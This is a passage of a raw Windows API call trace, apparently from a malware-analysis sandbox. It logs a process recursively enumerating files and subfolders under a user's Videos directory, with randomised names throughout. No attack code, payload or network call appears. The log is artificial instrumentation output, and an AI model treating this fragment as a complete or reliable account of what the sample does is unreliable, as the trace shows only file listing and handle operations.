dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0091.137] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0091.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.137] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0091.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.138] NtClose (Handle=0x184) returned 0x0 [0091.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354268 [0091.139] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\xeusB60\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9200 [0091.139] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39a3190, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xe8f12d20, ftLastAccessTime.dwHighDateTime=0x1d5c31f, ftLastWriteTime.dwLowDateTime=0xe8f12d20, ftLastWriteTime.dwHighDateTime=0x1d5c31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.139] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x496691d0, ftCreationTime.dwHighDateTime=0x1d5b962, ftLastAccessTime.dwLowDateTime=0x93f4a300, ftLastAccessTime.dwHighDateTime=0x1d5c2da, ftLastWriteTime.dwLowDateTime=0x93f4a300, ftLastWriteTime.dwHighDateTime=0x1d5c2da, nFileSizeHigh=0x0, nFileSizeLow=0xcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="L9tydB4yCsYQP_1Pho0.swf", cAlternateFileName="")) returned 1 [0091.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354370 [0091.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0091.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354370) returned 1 [0091.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f65f8 [0091.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253298 [0091.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.142] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30175f30, ftCreationTime.dwHighDateTime=0x1d5c037, ftLastAccessTime.dwLowDateTime=0x2b4a0330, ftLastAccessTime.dwHighDateTime=0x1d5b8e5, ftLastWriteTime.dwLowDateTime=0x2b4a0330, ftLastWriteTime.dwHighDateTime=0x1d5b8e5, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="uowSQ18K.flv", cAlternateFileName="")) returned 1 [0091.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6618 [0091.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354370 [0091.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.144] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893b0f10, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x2edbfd30, ftLastAccessTime.dwHighDateTime=0x1d5c512, ftLastWriteTime.dwLowDateTime=0x2edbfd30, ftLastWriteTime.dwHighDateTime=0x1d5c512, nFileSizeHigh=0x0, nFileSizeLow=0x4778, dwReserved0=0x0, dwReserved1=0x0, cFileName="YFDSeLtd.mkv", cAlternateFileName="")) returned 1 [0091.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6638 [0091.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354580 [0091.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.146] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893b0f10, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x2edbfd30, ftLastAccessTime.dwHighDateTime=0x1d5c512, ftLastWriteTime.dwLowDateTime=0x2edbfd30, ftLastWriteTime.dwHighDateTime=0x1d5c512, nFileSizeHigh=0x0, nFileSizeLow=0x4778, dwReserved0=0x0, dwReserved1=0x0, cFileName="YFDSeLtd.mkv", cAlternateFileName="")) returned 0 [0091.146] GetLastError () returned 0x12 [0091.146] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\xeusB60\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e90c0 [0091.147] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39a3190, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xe8f12d20, ftLastAccessTime.dwHighDateTime=0x1d5c31f, ftLastWriteTime.dwLowDateTime=0xe8f12d20, ftLastWriteTime.dwHighDateTime=0x1d5c31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x496691d0, ftCreationTime.dwHighDateTime=0x1d5b962, ftLastAccessTime.dwLowDateTime=0x93f4a300, ftLastAccessTime.dwHighDateTime=0x1d5c2da, ftLastWriteTime.dwLowDateTime=0x93f4a300, ftLastWriteTime.dwHighDateTime=0x1d5c2da, nFileSizeHigh=0x0, nFileSizeLow=0xcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="L9tydB4yCsYQP_1Pho0.swf", cAlternateFileName="")) returned 1 [0091.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30175f30, ftCreationTime.dwHighDateTime=0x1d5c037, ftLastAccessTime.dwLowDateTime=0x2b4a0330, ftLastAccessTime.dwHighDateTime=0x1d5b8e5, ftLastWriteTime.dwLowDateTime=0x2b4a0330, ftLastWriteTime.dwHighDateTime=0x1d5b8e5, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="uowSQ18K.flv", cAlternateFileName="")) returned 1 [0091.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893b0f10, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x2edbfd30, ftLastAccessTime.dwHighDateTime=0x1d5c512, ftLastWriteTime.dwLowDateTime=0x2edbfd30, ftLastWriteTime.dwHighDateTime=0x1d5c512, nFileSizeHigh=0x0, nFileSizeLow=0x4778, dwReserved0=0x0, dwReserved1=0x0, cFileName="YFDSeLtd.mkv", cAlternateFileName="")) returned 1 [0091.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893b0f10, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x2edbfd30, ftLastAccessTime.dwHighDateTime=0x1d5c512, ftLastWriteTime.dwLowDateTime=0x2edbfd30, ftLastWriteTime.dwHighDateTime=0x1d5c512, nFileSizeHigh=0x0, nFileSizeLow=0x4778, dwReserved0=0x0, dwReserved1=0x0, cFileName="YFDSeLtd.mkv", cAlternateFileName="")) returned 0 [0091.147] GetLastError () returned 0x12 [0091.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354268) returned 1 [0091.147] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0091.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.148] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJGiRuLhYXrLB6Pamecz", cAlternateFileName="")) returned 1 [0091.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\zJGiRuLhYXrLB6Pamecz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu\\zjgirulhyxrlb6pamecz"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\zJGiRuLhYXrLB6Pamecz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu\\zjgirulhyxrlb6pamecz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.148] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0091.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.149] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0091.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.149] NtClose (Handle=0x178) returned 0x0 [0091.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354268 [0091.151] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\zJGiRuLhYXrLB6Pamecz\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e90c0 [0091.151] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.151] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f7717b0, ftCreationTime.dwHighDateTime=0x1d5bb8e, ftLastAccessTime.dwLowDateTime=0xbb87ee70, ftLastAccessTime.dwHighDateTime=0x1d5b9b3, ftLastWriteTime.dwLowDateTime=0xbb87ee70, ftLastWriteTime.dwHighDateTime=0x1d5b9b3, nFileSizeHigh=0x0, nFileSizeLow=0xbec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GKPOegGTNERmR9.avi", cAlternateFileName="")) returned 1 [0091.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354688 [0091.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0091.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354688) returned 1 [0091.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6658 [0091.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253420 [0091.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.154] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c20200, ftCreationTime.dwHighDateTime=0x1d5bb68, ftLastAccessTime.dwLowDateTime=0xec82c3f0, ftLastAccessTime.dwHighDateTime=0x1d5b88d, ftLastWriteTime.dwLowDateTime=0xec82c3f0, ftLastWriteTime.dwHighDateTime=0x1d5b88d, nFileSizeHigh=0x0, nFileSizeLow=0x5e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPxlNtgtNc5q.flv", cAlternateFileName="")) returned 1 [0091.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6678 [0091.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x12535a8 [0091.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c20200, ftCreationTime.dwHighDateTime=0x1d5bb68, ftLastAccessTime.dwLowDateTime=0xec82c3f0, ftLastAccessTime.dwHighDateTime=0x1d5b88d, ftLastWriteTime.dwLowDateTime=0xec82c3f0, ftLastWriteTime.dwHighDateTime=0x1d5b88d, nFileSizeHigh=0x0, nFileSizeLow=0x5e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPxlNtgtNc5q.flv", cAlternateFileName="")) returned 0 [0091.158] GetLastError () returned 0x12 [0091.158] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\zJGiRuLhYXrLB6Pamecz\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9200 [0091.158] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.158] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.158] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f7717b0, ftCreationTime.dwHighDateTime=0x1d5bb8e, ftLastAccessTime.dwLowDateTime=0xbb87ee70, ftLastAccessTime.dwHighDateTime=0x1d5b9b3, ftLastWriteTime.dwLowDateTime=0xbb87ee70, ftLastWriteTime.dwHighDateTime=0x1d5b9b3, nFileSizeHigh=0x0, nFileSizeLow=0xbec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GKPOegGTNERmR9.avi", cAlternateFileName="")) returned 1 [0091.158] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c20200, ftCreationTime.dwHighDateTime=0x1d5bb68, ftLastAccessTime.dwLowDateTime=0xec82c3f0, ftLastAccessTime.dwHighDateTime=0x1d5b88d, ftLastWriteTime.dwLowDateTime=0xec82c3f0, ftLastWriteTime.dwHighDateTime=0x1d5b88d, nFileSizeHigh=0x0, nFileSizeLow=0x5e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPxlNtgtNc5q.flv", cAlternateFileName="")) returned 1 [0091.158] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c20200, ftCreationTime.dwHighDateTime=0x1d5bb68, ftLastAccessTime.dwLowDateTime=0xec82c3f0, ftLastAccessTime.dwHighDateTime=0x1d5b88d, ftLastWriteTime.dwLowDateTime=0xec82c3f0, ftLastWriteTime.dwHighDateTime=0x1d5b88d, nFileSizeHigh=0x0, nFileSizeLow=0x5e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPxlNtgtNc5q.flv", cAlternateFileName="")) returned 0 [0091.158] GetLastError () returned 0x12 [0091.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354268) returned 1 [0091.159] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0091.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.159] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJGiRuLhYXrLB6Pamecz", cAlternateFileName="")) returned 0 [0091.159] GetLastError () returned 0x12 [0091.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353c38) returned 1 [0091.160] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353d40) returned 1 [0091.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353b30) returned 1 [0091.160] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d88680, ftCreationTime.dwHighDateTime=0x1d5b6bc, ftLastAccessTime.dwLowDateTime=0xeff3e240, ftLastAccessTime.dwHighDateTime=0x1d5be95, ftLastWriteTime.dwLowDateTime=0xeff3e240, ftLastWriteTime.dwHighDateTime=0x1d5be95, nFileSizeHigh=0x0, nFileSizeLow=0x15cdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="fDY2U680ogaaI.mp4", cAlternateFileName="")) returned 1 [0091.160] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4752dd0, ftCreationTime.dwHighDateTime=0x1d5b927, ftLastAccessTime.dwLowDateTime=0xe3a51430, ftLastAccessTime.dwHighDateTime=0x1d5bb1d, ftLastWriteTime.dwLowDateTime=0xe3a51430, ftLastWriteTime.dwHighDateTime=0x1d5bb1d, nFileSizeHigh=0x0, nFileSizeLow=0x4a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpwbR.flv", cAlternateFileName="")) returned 1 [0091.160] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa14df660, ftCreationTime.dwHighDateTime=0x1d5c2e8, ftLastAccessTime.dwLowDateTime=0x4e5746c0, ftLastAccessTime.dwHighDateTime=0x1d5c0d4, ftLastWriteTime.dwLowDateTime=0x4e5746c0, ftLastWriteTime.dwHighDateTime=0x1d5c0d4, nFileSizeHigh=0x0, nFileSizeLow=0x180f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZwvfuG j3lr7M.mp4", cAlternateFileName="")) returned 1 [0091.160] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa14df660, ftCreationTime.dwHighDateTime=0x1d5c2e8, ftLastAccessTime.dwLowDateTime=0x4e5746c0, ftLastAccessTime.dwHighDateTime=0x1d5c0d4, ftLastWriteTime.dwLowDateTime=0x4e5746c0, ftLastWriteTime.dwHighDateTime=0x1d5c0d4, nFileSizeHigh=0x0, nFileSizeLow=0x180f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZwvfuG j3lr7M.mp4", cAlternateFileName="")) returned 0 [0091.160] GetLastError () returned 0x12 [0091.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353608) returned 1 [0091.160] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353710) returned 1 [0091.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353500) returned 1 [0091.161] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff4c9ce0, ftCreationTime.dwHighDateTime=0x1d5c4ea, 